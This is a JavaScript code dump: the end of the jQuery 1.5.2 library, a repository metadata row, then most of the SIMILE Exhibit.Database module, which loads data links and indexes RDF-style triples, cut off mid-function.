jQuery.each([ "Height", "Width" ], function( i, name ) {
	var type = name.toLowerCase();
	// innerHeight and innerWidth
	jQuery.fn["inner" + name] = function() {
		return this[0] ?
			parseFloat( jQuery.css( this[0], type, "padding" ) ) :
			null;
	};
	// outerHeight and outerWidth
	jQuery.fn["outer" + name] = function( margin ) {
		return this[0] ?
			parseFloat( jQuery.css( this[0], type, margin ? "margin" : "border" ) ) :
			null;
	};
	jQuery.fn[ type ] = function( size ) {
		// Get window width or height
		var elem = this[0];
		if ( !elem ) {
			return size == null ? null : this;
		}
		if ( jQuery.isFunction( size ) ) {
			return this.each(function( i ) {
				var self = jQuery( this );
				self[ type ]( size.call( this, i, self[ type ]() ) );
			});
		}
		if ( jQuery.isWindow( elem ) ) {
			// Everyone else use document.documentElement or document.body depending on Quirks vs Standards mode
			// 3rd condition allows Nokia support, as it supports the docElem prop but not CSS1Compat
			var docElemProp = elem.document.documentElement[ "client" + name ];
			return elem.document.compatMode === "CSS1Compat" && docElemProp ||
				elem.document.body[ "client" + name ] || docElemProp;
		// Get document width or height
		} else if ( elem.nodeType === 9 ) {
			// Either scroll[Width/Height] or offset[Width/Height], whichever is greater
			return Math.max(
				elem.documentElement["client" + name],
				elem.body["scroll" + name], elem.documentElement["scroll" + name],
				elem.body["offset" + name], elem.documentElement["offset" + name]
			);
		// Get or set width or height on the element
		} else if ( size === undefined ) {
			var orig = jQuery.css( elem, type ),
				ret = parseFloat( orig );
			return jQuery.isNaN( ret ) ? orig : ret;
		// Set the width or height on the element (default to pixels if value is unitless)
		} else {
			return this.css( type, typeof size === "string" ? size : size + "px" );
		}
	};
});
window.jQuery = window.$ = jQuery;
})(window);
 | 
	nise/vi-two | 
	lib/jquery-1.5.2.js | 
	JavaScript | 
	bsd-3-clause | 219,249 | 
| 
	/*======================================================================
 *  Exhibit.Database
 *  http://simile.mit.edu/wiki/Exhibit/API/Database
 *======================================================================
 */
Exhibit.Database = new Object();
Exhibit.Database.create = function() {
    Exhibit.Database.handleAuthentication();
    return new Exhibit.Database._Impl();
};
Exhibit.Database.handleAuthentication = function() {
    if (window.Exhibit.params.authenticated) {
        var links = document.getElementsByTagName('head')[0].childNodes;
        for (var i = 0; i < links.length; i++) {
            var link = links[i];
            if (link.rel == 'exhibit/output' && link.getAttribute('ex:authenticated')) {
                
            }
        }
    }
};
Exhibit.Database.makeISO8601DateString = function(date) {
    date = date || new Date();
    var pad = function(i) { return i > 9 ? i.toString() : '0'+i };
    var s = date.getFullYear() + '-' + pad(date.getMonth() +1) + '-' + pad(date.getDate());
    return s;
}
Exhibit.Database.TimestampPropertyName = "addedOn";
/*==================================================
 *  Exhibit.Database._Impl
 *==================================================
 */
Exhibit.Database._Impl = function() {
    this._types = {};
    this._properties = {};
    this._propertyArray = {};
    
    this._submissionRegistry = {}; // stores unmodified copies of submissions
    
    this._originalValues = {};
    this._newItems = {};
    
    this._listeners = new SimileAjax.ListenerQueue();
    
    this._spo = {};
    this._ops = {};
    this._items = new Exhibit.Set();
    
    /*
     *  Predefined types and properties
     */
     
    var l10n = Exhibit.Database.l10n;
    
    var itemType = new Exhibit.Database._Type("Item");
    itemType._custom = Exhibit.Database.l10n.itemType;
    this._types["Item"] = itemType;
    var labelProperty = new Exhibit.Database._Property("label", this);
    labelProperty._uri                  = "http://www.w3.org/2000/01/rdf-schema#label";
    labelProperty._valueType            = "text";
    labelProperty._label                = l10n.labelProperty.label;
    labelProperty._pluralLabel          = l10n.labelProperty.pluralLabel;
    labelProperty._reverseLabel         = l10n.labelProperty.reverseLabel;
    labelProperty._reversePluralLabel   = l10n.labelProperty.reversePluralLabel;
    labelProperty._groupingLabel        = l10n.labelProperty.groupingLabel;
    labelProperty._reverseGroupingLabel = l10n.labelProperty.reverseGroupingLabel;
    this._properties["label"]           = labelProperty;
    
    var typeProperty = new Exhibit.Database._Property("type");
    typeProperty._uri                   = "http://www.w3.org/1999/02/22-rdf-syntax-ns#type";
    typeProperty._valueType             = "text";
    typeProperty._label                 = "type";
    typeProperty._pluralLabel           = l10n.typeProperty.label;
    typeProperty._reverseLabel          = l10n.typeProperty.reverseLabel;
    typeProperty._reversePluralLabel    = l10n.typeProperty.reversePluralLabel;
    typeProperty._groupingLabel         = l10n.typeProperty.groupingLabel;
    typeProperty._reverseGroupingLabel  = l10n.typeProperty.reverseGroupingLabel;
    this._properties["type"]            = typeProperty;
    
    var uriProperty = new Exhibit.Database._Property("uri");
    uriProperty._uri                    = "http://simile.mit.edu/2006/11/exhibit#uri";
    uriProperty._valueType              = "url";
    uriProperty._label                  = "URI";
    uriProperty._pluralLabel            = "URIs";
    uriProperty._reverseLabel           = "URI of";
    uriProperty._reversePluralLabel     = "URIs of";
    uriProperty._groupingLabel          = "URIs";
    uriProperty._reverseGroupingLabel   = "things named by these URIs";
    this._properties["uri"]             = uriProperty;
    
    var changeProperty = new Exhibit.Database._Property("change", this);
    changeProperty._uri                    = "http://simile.mit.edu/2006/11/exhibit#change";
    changeProperty._valueType              = "text";
    changeProperty._label                  = "change type";
    changeProperty._pluralLabel            = "change types";
    changeProperty._reverseLabel           = "change type of";
    changeProperty._reversePluralLabel     = "change types of";
    changeProperty._groupingLabel          = "change types";
    changeProperty._reverseGroupingLabel   = "changes of this type";
    this._properties["change"]             = changeProperty;
    
    var changedItemProperty = new Exhibit.Database._Property("changedItem", this);
   changedItemProperty._uri                    = "http://simile.mit.edu/2006/11/exhibit#changedItem";
    changedItemProperty._valueType              = "text";
    changedItemProperty._label                  = "changed item";
    changedItemProperty._pluralLabel            = "changed item";
    changedItemProperty._groupingLabel          = "changed items";
    this._properties["changedItem"]             = changedItemProperty;
    
    var modifiedProperty = new Exhibit.Database._Property(Exhibit.Database.ModifiedPropertyName, this);
    modifiedProperty._uri                       = "http://simile.mit.edu/2006/11/exhibit#modified";
    modifiedProperty._valueType                 = "text";
    modifiedProperty._label                     = "modified";
    modifiedProperty._pluralLabel               = "modified";
    modifiedProperty._groupingLabel             = "was modified";
    this._properties["modified"]                = modifiedProperty;
};
Exhibit.Database._Impl.prototype.createDatabase = function() {
    return Exhibit.Database.create();
};
Exhibit.Database._Impl.prototype.addListener = function(listener) {
    this._listeners.add(listener);
};
Exhibit.Database._Impl.prototype.removeListener = function(listener) {
    this._listeners.remove(listener);
};
Exhibit.Database._Impl.prototype.loadDataLinks = function(fDone) {
    var links = SimileAjax.jQuery('link[rel="exhibit/data"]').add('a[rel="exhibit/data"]').get();
    var self=this;
    var fDone2 = function () {
	self.loadDataElements(self, fDone);
	if (fDone) fDone();
    }
    this._loadLinks(links, this, fDone2);
};
Exhibit.Database._Impl.prototype.loadLinks = function(links, fDone) {
    this._loadLinks(links, this, fDone);
};
Exhibit.Database._Impl.prototype.loadDataElements = function(database) {
//to load inline exhibit data
//unlike loadlinks, this is synchronous, so no fDone continuation.
    var findFunction = function (s) {
	//redundant with loadlinks, but I don't want to mess with that yet
	if (typeof (s)  == "string") {
	    if (s in Exhibit) {
		s = Exhibit[s];
            } else {
		try {
                    s = eval(s);
		} catch (e) {
                    s = null;
                    // silent
		}
	    }
	}
	return s;
    }
    var url=window.location.href;
    var loadElement = function(element) {
	var e=SimileAjax.jQuery(element);
	var content=e.html();
	if (content) {
	    if (!e.attr('href')) {e.attr('href',url)} //some parsers check this
            var type = Exhibit.getAttribute(element,"type");
            if (type == null || type.length == 0) {
		type = "application/json";
            }
            var importer = Exhibit.importers[type];
	    var parser=findFunction(Exhibit.getAttribute(element,'parser'))
		|| (importer && importer.parse);
	    if (parser) {
		var o=null;
		try {
		o=parser(content,element,url);
		} catch(e) {
			SimileAjax.Debug.exception(e, "Error parsing Exhibit data from " + url);
		}
		if (o != null) {
		    try {
			database.loadData(o, Exhibit.Persistence.getBaseURL(url));
			e.hide(); //if imported, don't want original
 		    } catch (e) {
			SimileAjax.Debug.exception(e, "Error loading Exhibit data from " + url);
		    }
		}
	    } else {
		SimileAjax.Debug.log("No parser for data of type " + type);
            }
	}
    }
    var safeLoadElement = function () {
	//so one bad data element won't prevent others loading.
	try {
	    loadElement(this);
	}
	catch (e) {
	}
    }
    var elements;
    try {
	elements=SimileAjax.jQuery('[ex\\:role="data"]');
    } catch (e) {
	//jquery in IE7 can't handle a namespaced attribute
	//so find data elements by brute force
	elements=$('*').filter(function(){
	    var attrs = this.attributes;
	    for (i=0; i<attrs.length; i++) {
		if ((attrs[i].nodeName=='ex:role') &&
		    (attrs[i].nodeValue=='data'))
		    return true;
	    }
	    return false;
	});
    }
    elements.each(safeLoadElement);
    
}
Exhibit.Database._Impl.prototype.loadSubmissionLinks = function(fDone) {
    var db = this;
    var dbProxy = {
        loadData: function(o, baseURI) {
            if ("types" in o) {
                db.loadTypes(o.types, baseURI);
            }
            if ("properties" in o) {
                db.loadProperties(o.properties, baseURI);
            }
            if ("items" in o) {
                db._listeners.fire("onBeforeLoadingItems", []);
                db.loadItems(o.items, baseURI);
                db._listeners.fire("onAfterLoadingItems", []);            
            }
        }
        
    };
    
    var links = SimileAjax.jQuery('head > link[rel=exhibit/submissions]').get()
    this._loadLinks(links, dbProxy, fDone);
};
Exhibit.Database._Impl.defaultGetter = function(link, database, parser, cont) {
    var url = typeof link == "string" ? link : link.href;
    url = Exhibit.Persistence.resolveURL(url);
    var fError = function() {
        Exhibit.UI.hideBusyIndicator();
        Exhibit.UI.showHelp(Exhibit.l10n.failedToLoadDataFileMessage(url));
        if (cont) cont();
    };
    var fDone = function(content) {
        Exhibit.UI.hideBusyIndicator();
	if (url.indexOf('#') >= 0) {
	    //the fragment is assumed to _contain_ the data
	    //so we return what is _inside_ the fragment tag
	    //which might not be html
	    //this simplifies parsing for non-html formats 
	    var fragment=url.match(/(#.*)/)[1];
	    content=SimileAjax.jQuery("<div>" + content + "</div>").find(fragment).html(); 
	}
	var o;
	try {
	    o=parser(content, link, url);
	} catch(e) {
	    SimileAjax.Debug.log(e, "Error parsing Exhibit data from " + url);
	    //absorb the error but continue
	}
	if (o != null) {
	    try {
		database.loadData(o, Exhibit.Persistence.getBaseURL(url));
 	    } catch (e) {
		SimileAjax.Debug.log(e, "Error loading Exhibit data from " + url);
		//absorb the rror but continue
	    }
	}
        if (cont) cont();
    };
    Exhibit.UI.showBusyIndicator();
//    SimileAjax.XmlHttp.get(url, fError, fDone);
    SimileAjax.jQuery.ajax({url: url, dataType: "text",
			    success: fDone, error: fError});
};
Exhibit.Database._Impl.prototype.findLoader =function(elt) {
    var findFunction = function (s) {
	if (typeof (s)  == "string") {
	    if (s in Exhibit) {
		s = Exhibit[s];
            } else {
		try {
                    s = eval(s);
		} catch (e) {
                    s = null;
                    // silent
		}
	    }
	}
	return s;
    }
    var type = Exhibit.getAttribute(link,'type');
    if (type == null || type.length == 0) {
        type = "application/json";
    }
    var importer = Exhibit.importers[type];
    var parser=findFunction(Exhibit.getAttribute(link,'parser'))
	|| (importer && importer.parse);
    var getter=findFunction(Exhibit.getAttribute(link,'getter'))
	|| (importer && importer.getter)
	|| Exhibit.Database._Impl.defaultGetter;
    if (parser) {
	return function(link, database, fNext) {
	    (getter)(link, database, parser, fNext);
	}
    }
    else if (importer) {
	return importer.load;
    }
    else {
	return null
    }
}
Exhibit.Database._Impl.prototype._loadLinks = function(links, database, fDone) {
    var findFunction = function (s) {
	if (typeof (s)  == "string") {
	    if (s in Exhibit) {
		s = Exhibit[s];
            } else {
		try {
                    s = eval(s);
		} catch (e) {
                    s = null;
                    // silent
		}
	    }
	}
	return s;
    }
    links = [].concat(links);
    var fNext = function() {
        while (links.length > 0) {
            var link = links.shift();
            var type = link.type;
            if (type == null || type.length == 0) {
                type = "application/json";
            }
            var importer = Exhibit.importers[type];
	    var parser=findFunction(Exhibit.getAttribute(link,'parser'))
		|| (importer && importer.parse);
	    var getter=findFunction(Exhibit.getAttribute(link,'getter'))
		|| (importer && importer.getter)
		|| Exhibit.Database._Impl.defaultGetter;
            if (parser) {
		(getter)(link, database, parser, fNext);
		return;
	    }
	    else if (importer) {
		importer.load(link, database, fNext);
		return;
            } else {
                SimileAjax.Debug.log("No importer for data of type " + type);
            }
        }
        if (fDone != null) {
            fDone();
        }
    };
    fNext();
};
Exhibit.Database._Impl.prototype.loadData = function(o, baseURI) {
    if (typeof baseURI == "undefined") {
        baseURI = location.href;
    }
    if ("types" in o) {
        this.loadTypes(o.types, baseURI);
    }
    if ("properties" in o) {
        this.loadProperties(o.properties, baseURI);
    }
    if ("items" in o) {
        this.loadItems(o.items, baseURI);
    }
};
Exhibit.Database._Impl.prototype.loadTypes = function(typeEntries, baseURI) {
    this._listeners.fire("onBeforeLoadingTypes", []);
    try {
        var lastChar = baseURI.substr(baseURI.length - 1)
        if (lastChar == "#") {
            baseURI = baseURI.substr(0, baseURI.length - 1) + "/";
        } else if (lastChar != "/" && lastChar != ":") {
            baseURI += "/";
        }
    
        for (var typeID in typeEntries) {
            if (typeof typeID != "string") {
                continue;
            }
            
            var typeEntry = typeEntries[typeID];
            if (typeof typeEntry != "object") {
                continue;
            }
            
            var type;
            if (typeID in this._types) {
                type = this._types[typeID];
            } else {
                type = new Exhibit.Database._Type(typeID);
                this._types[typeID] = type;
            };
            
            for (var p in typeEntry) {
                type._custom[p] = typeEntry[p];
            }
            
            if (!("uri" in type._custom)) {
                type._custom["uri"] = baseURI + "type#" + encodeURIComponent(typeID);
            }
            if (!("label" in type._custom)) {
                type._custom["label"] = typeID;
            }
        }
        
        this._listeners.fire("onAfterLoadingTypes", []);
    } catch(e) {
        SimileAjax.Debug.exception(e, "Database.loadTypes failed");
    }
};
Exhibit.Database._Impl.prototype.loadProperties = function(propertyEntries, baseURI) {
    this._listeners.fire("onBeforeLoadingProperties", []);
    try {
        var lastChar = baseURI.substr(baseURI.length - 1)
        if (lastChar == "#") {
            baseURI = baseURI.substr(0, baseURI.length - 1) + "/";
        } else if (lastChar != "/" && lastChar != ":") {
            baseURI += "/";
        }
    
        for (var propertyID in propertyEntries) {
            if (typeof propertyID != "string") {
                continue;
            }
            
            var propertyEntry = propertyEntries[propertyID];
            if (typeof propertyEntry != "object") {
                continue;
            }
            
            var property;
            if (propertyID in this._properties) {
                property = this._properties[propertyID];
            } else {
                property = new Exhibit.Database._Property(propertyID, this);
                this._properties[propertyID] = property;
            };
            
            property._uri = ("uri" in propertyEntry) ? propertyEntry.uri : (baseURI + "property#" + encodeURIComponent(propertyID));
            property._valueType = ("valueType" in propertyEntry) ? propertyEntry.valueType : "text";
                // text, html, number, date, boolean, item, url
            
            property._label = ("label" in propertyEntry) ? propertyEntry.label : propertyID;
            property._pluralLabel = ("pluralLabel" in propertyEntry) ? propertyEntry.pluralLabel : property._label;
            
            property._reverseLabel = ("reverseLabel" in propertyEntry) ? propertyEntry.reverseLabel : ("!" + property._label);
            property._reversePluralLabel = ("reversePluralLabel" in propertyEntry) ? propertyEntry.reversePluralLabel : ("!" + property._pluralLabel);
            
            property._groupingLabel = ("groupingLabel" in propertyEntry) ? propertyEntry.groupingLabel : property._label;
            property._reverseGroupingLabel = ("reverseGroupingLabel" in propertyEntry) ? propertyEntry.reverseGroupingLabel : property._reverseLabel;
            
            if ("origin" in propertyEntry) {
                property._origin = propertyEntry.origin;
            }
        }
        this._propertyArray = null;
        
        this._listeners.fire("onAfterLoadingProperties", []);
    } catch(e) {
        SimileAjax.Debug.exception(e, "Database.loadProperties failed");
    }
};
Exhibit.Database._Impl.prototype.loadItems = function(itemEntries, baseURI) {
    this._listeners.fire("onBeforeLoadingItems", []);
    try {
        var lastChar = baseURI.substr(baseURI.length - 1);
        if (lastChar == "#") {
            baseURI = baseURI.substr(0, baseURI.length - 1) + "/";
        } else if (lastChar != "/" && lastChar != ":") {
            baseURI += "/";
        }
        
        var spo = this._spo;
        var ops = this._ops;
        var indexPut = Exhibit.Database._indexPut;
        var indexTriple = function(s, p, o) {
            indexPut(spo, s, p, o);
            indexPut(ops, o, p, s);
        };
        
        for (var i = 0; i < itemEntries.length; i++) {
            var entry = itemEntries[i];
            if (typeof entry == "object") {
                this._loadItem(entry, indexTriple, baseURI);
            }
        }
        
        this._propertyArray = null;
        
        this._listeners.fire("onAfterLoadingItems", []);
    } catch(e) {
        SimileAjax.Debug.exception(e, "Database.loadItems failed");
    }
};
Exhibit.Database._Impl.prototype.getType = function(typeID) {
    return this._types[typeID];
};
Exhibit.Database._Impl.prototype.getProperty = function(propertyID) {
    return propertyID in this._properties ? this._properties[propertyID] : null;
};
/**
 * Get an array of all property names known to this database.
 */
Exhibit.Database._Impl.prototype.getAllProperties = function() {
    if (this._propertyArray == null) {
        this._propertyArray = [];
        for (var propertyID in this._properties) {
            this._propertyArray.push(propertyID);
        }
    }
    
    return [].concat(this._propertyArray);
};
Exhibit.Database._Impl.prototype.isSubmission = function(id) {
    return id in this._submissionRegistry;
}
Exhibit.Database._Impl.prototype.getAllItems = function() {
    var ret = new Exhibit.Set();
    var self = this;
    
    this._items.visit(function(item) {
        if (!self.isSubmission(item)) {
            ret.add(item);
        }
    });
    return ret;
};
Exhibit.Database._Impl.prototype.getAllSubmissions = function() {
    var ret = new Exhibit.Set();
    var itemList = this._items.toArray();
    for (var i in itemList) {
        var item = itemList[i];
        if (this.isSubmission(item)) {
            ret.add(item);
        }
    }
    return ret;
}
Exhibit.Database._Impl.prototype.getAllItemsCount = function() {
    return this._items.size();
};
Exhibit.Database._Impl.prototype.containsItem = function(itemID) {
    return this._items.contains(itemID);
};
Exhibit.Database._Impl.prototype.getNamespaces = function(idToQualifiedName, prefixToBase) {
    var bases = {};
    for (var propertyID in this._properties) {
        var property = this._properties[propertyID];
        var uri = property.getURI();
        
        var hash = uri.indexOf("#");
        if (hash > 0) {
            var base = uri.substr(0, hash + 1);
            bases[base] = true;
            
            idToQualifiedName[propertyID] = {
                base:       base,
                localName:  uri.substr(hash + 1)
            };
            continue;
        }
        
        var slash = uri.lastIndexOf("/");
        if (slash > 0) {
            var base = uri.substr(0, slash + 1);
            bases[base] = true;
            
            idToQualifiedName[propertyID] = {
                base:       base,
                localName:  uri.substr(slash + 1)
            };
            continue;
        }
    }
    
    var baseToPrefix = {};
    var letters = "abcdefghijklmnopqrstuvwxyz";
    var i = 0;
    
    for (var base in bases) {
        var prefix = letters.substr(i++,1);
        prefixToBase[prefix] = base;
        baseToPrefix[base] = prefix;
    }
    
    for (var propertyID in idToQualifiedName) {
        var qname = idToQualifiedName[propertyID];
        qname.prefix = baseToPrefix[qname.base];
    }
};
Exhibit.Database._Impl.prototype._loadItem = function(itemEntry, indexFunction, baseURI) {
    if (!("label" in itemEntry) && !("id" in itemEntry)) {
        SimileAjax.Debug.warn("Item entry has no label and no id: " +
                              SimileAjax.JSON.toJSONString( itemEntry ));
//        return;
	itemEntry.label="item" + Math.ceil(Math.random()*1000000);
    }
    
    var id;
    if (!("label" in itemEntry)) {
        id = itemEntry.id;
        if (!this._items.contains(id)) {
            SimileAjax.Debug.warn("Cannot add new item containing no label: " +
                                  SimileAjax.JSON.toJSONString( itemEntry ));
        }
    } else {
        var label = itemEntry.label;
        var id = ("id" in itemEntry) ? itemEntry.id : label;
        var uri = ("uri" in itemEntry) ? itemEntry.uri : (baseURI + "item#" + encodeURIComponent(id));
        var type = ("type" in itemEntry) ? itemEntry.type : "Item";
        
        
        var isArray = function(obj) {
            if (!obj || (obj.constructor.toString().indexOf("Array") == -1))
              return false;
           else
              return true;
        }
        if(isArray(label))
            label = label[0];
        if(isArray(id))
            id = id[0];
        if(isArray(uri))
            uri = uri[0];
        if(isArray(type))
            type = type[0];
        
        this._items.add(id);
        
        indexFunction(id, "uri", uri);
        indexFunction(id, "label", label);
        indexFunction(id, "type", type);
        
        this._ensureTypeExists(type, baseURI);
    }
    
    for (var p in itemEntry) {
        if (typeof p != "string") {
            continue;
        }
        
        if (p != "uri" && p != "label" && p != "id" && p != "type") {
            this._ensurePropertyExists(p, baseURI)._onNewData();
                                    
            var v = itemEntry[p];
            if (v instanceof Array) {
                for (var j = 0; j < v.length; j++) {
                    indexFunction(id, p, v[j]);
                }
            } else if (v != undefined && v != null) {
                indexFunction(id, p, v);
            }
        }
    }
};
Exhibit.Database._Impl.prototype._ensureTypeExists = function(typeID, baseURI) {
    if (!(typeID in this._types)) {
        var type = new Exhibit.Database._Type(typeID);
        
        type._custom["uri"] = baseURI + "type#" + encodeURIComponent(typeID);
        type._custom["label"] = typeID;
        
        this._types[typeID] = type;
    }
};
Exhibit.Database._Impl.prototype._ensurePropertyExists = function(propertyID, baseURI) {
    if (!(propertyID in this._properties)) {
        var property = new Exhibit.Database._Property(propertyID, this);
        
        property._uri = baseURI + "property#" + encodeURIComponent(propertyID);
        property._valueType = "text";
        
        property._label = propertyID;
        property._pluralLabel = property._label;
        
        property._reverseLabel = "reverse of " + property._label;
        property._reversePluralLabel = "reverse of " + property._pluralLabel;
        
        property._groupingLabel = property._label;
        property._reverseGroupingLabel = property._reverseLabel;
        
        this._properties[propertyID] = property;
        
        this._propertyArray = null;
        return property;
    } else {
        return this._properties[propertyID];
    }
};
Exhibit.Database._indexPut = function(index, x, y, z) {
    var hash = index[x];
    if (!hash) {
        hash = {};
        index[x] = hash;
    }
    
    var array = hash[y];
    if (!array) {
        array = new Array();
        hash[y] = array;
    } else {
        for (var i = 0; i < array.length; i++) {
            if (z == array[i]) {
                return;
            }
        }
    }
    array.push(z);
};
Exhibit.Database._indexPutList = function(index, x, y, list) {
    var hash = index[x];
    if (!hash) {
        hash = {};
        index[x] = hash;
    }
    
    var array = hash[y];
    if (!array) {
        hash[y] = list;
    } else {
        hash[y] = hash[y].concat(list);
    }
};
Exhibit.Database._indexRemove = function(index, x, y, z) {
    function isEmpty(obj) {
        for (p in obj) { return false; } 
        return true;
    }
    
    var hash = index[x];
    if (!hash) {
        return false;
    }
    
    var array = hash[y];
    if (!array) {
        return false;
    }
    
    for (var i = 0; i < array.length; i++) {
        if (z == array[i]) {
            array.splice(i, 1);
            
            // prevent accumulation of empty arrays/hashes in indices
            if (array.length == 0) {
                delete hash[y];
                if (isEmpty(hash)) { 
                    delete index[x];
                }
            }
            return true;
        }
    }
};
Exhibit.Database._indexRemoveList = function(index, x, y) {
    var hash = index[x];
    if (!hash) {
        return null;
    }
    
    var array = hash[y];
    if (!array) {
        return null;
    }
    
    delete hash[y];
    return array;
};
Exhibit.Database._Impl.prototype._indexFillSet = function(index, x, y, set, filter) {
    var hash = index[x];
    if (hash) {
        var array = hash[y];
        if (array) {
            if (filter) {
                for (var i = 0; i < array.length; i++) {
                    var z = array[i];
                    if (filter.contains(z)) {
                        set.add(z);
                    }
                }
            } else {
                for (var i = 0; i < array.length; i++) {
                    set.add(array[i]);
                }
            }
        }
    }
};
Exhibit.Database._Impl.prototype._indexCountDistinct = function(index, x, y, filter) {
    var count = 0;
    var hash = index[x];
    if (hash) {
        var array = hash[y];
        if (array) {
            if (filter) {
                for (var i = 0; i < array.length; i++) {
                    if (filter.contains(array[i])) {
                        count++;
                    }
                }
            } else {
                count = array.length;
            }
        }
    }
    return count;
};
Exhibit.Database._Impl.prototype._get = function(index, x, y, set, filter) {
    if (!set) {
        set = new Exhibit.Set();
    }
    this._indexFillSet(index, x, y, set, filter);
    return set;
};
Exhibit.Database._Impl.prototype._getUnion = function(index, xSet, y, set, filter) {
    if (!set) {
        set = new Exhibit.Set();
    }
    
    var database = this;
    xSet.visit(function(x) {
        database._indexFillSet(index, x, y, set, filter);
    });
    return set;
};
Exhibit.Database._Impl.prototype._countDistinctUnion = function(index, xSet, y, filter) {
    var count = 0;
    var database = this;
    xSet.visit(function(x) {
        count += database._indexCountDistinct(index, x, y, filter);
    });
    return count;
};
Exhibit.Database._Impl.prototype._countDistinct = function(index, x, y, filter) {
    return this._indexCountDistinct(index, x, y, filter);
};
Exhibit.Database._Impl.prototype._getProperties = function(index, x) {
    var hash = index[x];
    var properties = []
    if (hash) {
        for (var p in hash) {
            properties.push(p);
        }
    }
    return properties;
};
Exhibit.Database._Impl.prototype.getObjects = function(s, p, set, filter) {
    return this._get(this._spo, s, p, set, filter);
};
Exhibit.Database._Impl.prototype.countDistinctObjects = function(s, p, filter) {
    return this._countDistinct(this._spo, s, p, filter);
};
Exhibit.Database._Impl.prototype.getObjectsUnion = function(subjects, p, set, filter) {
    return this._getUnion(this._spo, subjects, p, set, filter);
};
Exhibit.Database._Impl.prototype.countDistinctObjectsUnion = function(subjects, p, filter) {
    return this._countDistinctUnion(this._spo, subjects, p, filter);
};
Exhibit.Database._Impl.prototype.getSubjects = function(o, p, set, filter) {
    return this._get(this._ops, o, p, set, filter);
};
Exhibit.Database._Impl.prototype.countDistinctSubjects = function(o, p, filter) {
    return this._countDistinct(this._ops, o, p, filter);
};
Exhibit.Database._Impl.prototype.getSubjectsUnion = function(objects, p, set, filter) {
    return this._getUnion(this._ops, objects, p, set, filter);
};
Exhibit.Database._Impl.prototype.countDistinctSubjectsUnion = function(objects, p, filter) {
    return this._countDistinctUnion(this._ops, objects, p, filter);
};
Exhibit.Database._Impl.prototype.getObject = function(s, p) {
    var hash = this._spo[s];
    if (hash) {
        var array = hash[p];
        if (array) {
            return array[0];
        }
    }
    return null;
};
Exhibit.Database._Impl.prototype.getSubject = function(o, p) {
    var hash = this._ops[o];
    if (hash) {
        var array = hash[p];
        if (array) {
            return array[0];
        }
    }
    return null;
};
Exhibit.Database._Impl.prototype.getForwardProperties = function(s) {
    return this._getProperties(this._spo, s);
};
Exhibit.Database._Impl.prototype.getBackwardProperties = function(o) {
    return this._getProperties(this._ops, o);
};
Exhibit.Database._Impl.prototype.getSubjectsInRange = function(p, min, max, inclusive, set, filter) {
    var property = this.getProperty(p);
    if (property != null) {
        var rangeIndex = property.getRangeIndex();
        if (rangeIndex != null) {
            return rangeIndex.getSubjectsInRange(min, max, inclusive, set, filter);
        }
    }
    return (!set) ? new Exhibit.Set() : set;
};
Exhibit.Database._Impl.prototype.getTypeIDs = function(set) {
    return this.getObjectsUnion(set, "type", null, null);
};
Exhibit.Database._Impl.prototype.addStatement = function(s, p, o) {
    var indexPut = Exhibit.Database._indexPut;
    indexPut(this._spo, s, p, o);
    indexPut(this._ops, o, p, s);
};
Exhibit.Database._Impl.prototype.removeStatement = function(s, p, o) {
    var indexRemove = Exhibit.Database._indexRemove;
    var removedObject = indexRemove(this._spo, s, p, o);
    var removedSubject = indexRemove(this._ops, o, p, s);
    return removedObject || removedSubject;
};
Exhibit.Database._Impl.prototype.removeObjects = function(s, p) {
    var indexRemove = Exhibit.Database._indexRemove;
    var indexRemoveList = Exhibit.Database._indexRemoveList;
    var objects = indexRemoveList(this._spo, s, p);
    if (objects == null) {
        return false;
    } else {
        for (var i = 0; i < objects.length; i++) {
            indexRemove(this._ops, objects[i], p, s);
        }
        return true;
    }
};
Exhibit.Database._Impl.prototype.removeSubjects = function(o, p) {
    var indexRemove = Exhibit.Database._indexRemove;
    var indexRemoveList = Exhibit.Database._indexRemoveList;
    var subjects = indexRemoveList(this._ops, o, p);
    if (subjects == null) {
        return false;
    } else {
        for (var i = 0; i < subjects.length; i++) {
            indexRemove(this._spo, subjects[i], p, o);
        }
        return true;
    }
};
Exhibit.Database._Impl.prototype.removeAllStatements = function() {
    this._listeners.fire("onBeforeRemovingAllStatements", []);
    try {
        this._spo = {};
        this._ops = {};
        this._items = new Exhibit.Set();
    
        for (var propertyID in this._properties) {
            this._properties[propertyID]._onNewData();
        }
        this._propertyArray = null;
        
        this._listeners.fire("onAfterRemovingAllStatements", []);
    } catch(e) {
        SimileAjax.Debug.exception(e, "Database.removeAllStatements failed");
    }
};
/*==================================================
 *  Exhibit.Database._Type
 *==================================================
 */
Exhibit.Database._Type = function(id) {
    this._id = id;
    this._custom = {};
};
Exhibit.Database._Type.prototype = {
    getID:          function()  { return this._id; },
    getURI:         function()  { return this._custom["uri"]; },
    getLabel:       function()  { return this._custom["label"]; },
    getOrigin:      function()  { return this._custom["origin"]; },
    getProperty:    function(p) { return this._custom[p]; }
};
/*==================================================
 *  Exhibit.Database._Property
 *==================================================
 */
Exhibit.Database._Property = function(id, database) {
    this._id = id;
    this._database = database;
    this._rangeIndex = null;
};
Exhibit.Database._Property.prototype = {
    getID:          function() { return this._id; },
    getURI:         function() { return this._uri; },
    getValueType:   function() { return this._valueType; },
    
    getLabel:               function() { return this._label; },
    getPluralLabel:         function() { return this._pluralLabel; },
    getReverseLabel:        function() { return this._reverseLabel; },
    getReversePluralLabel:  function() { return this._reversePluralLabel; },
    getGroupingLabel:       function() { return this._groupingLabel; },
    getGroupingPluralLabel: function() { return this._groupingPluralLabel; },
    getOrigin:              function() { return this._origin; }
};
Exhibit.Database._Property.prototype._onNewData = function() {
    this._rangeIndex = null;
};
Exhibit.Database._Property.prototype.getRangeIndex = function() {
    if (this._rangeIndex == null) {
        this._buildRangeIndex();
    }
    return this._rangeIndex;
};
Exhibit.Database._Property.prototype._buildRangeIndex = function() {
    var getter;
    var database = this._database;
    var p = this._id;
    
    switch (this.getValueType()) {
    case "date":
        getter = function(item, f) {
            database.getObjects(item, p, null, null).visit(function(value) {
                if (value != null && !(value instanceof Date)) {
                    value = SimileAjax.DateTime.parseIso8601DateTime(value);
                }
                if (value instanceof Date) {
                    f(value.getTime());
                }
            });
        };
        break;
    default:
        getter = function(item, f) {
            database.getObjects(item, p, null, null).visit(function(value) {
                if (typeof value != "number") {
                    value = parseFloat(value);
                }
                if (!isNaN(value)) {
                    f(value);
                }
            });
        };
        break;
    }
    
    this._rangeIndex = new Exhibit.Database._RangeIndex(
        this._database.getAllItems(),
        getter
    );
};
/*==================================================
 *  Exhibit.Database._RangeIndex
 *==================================================
 */
Exhibit.Database._RangeIndex = function(items, getter) {
    pairs = [];
    items.visit(function(item) {
        getter(item, function(value) {
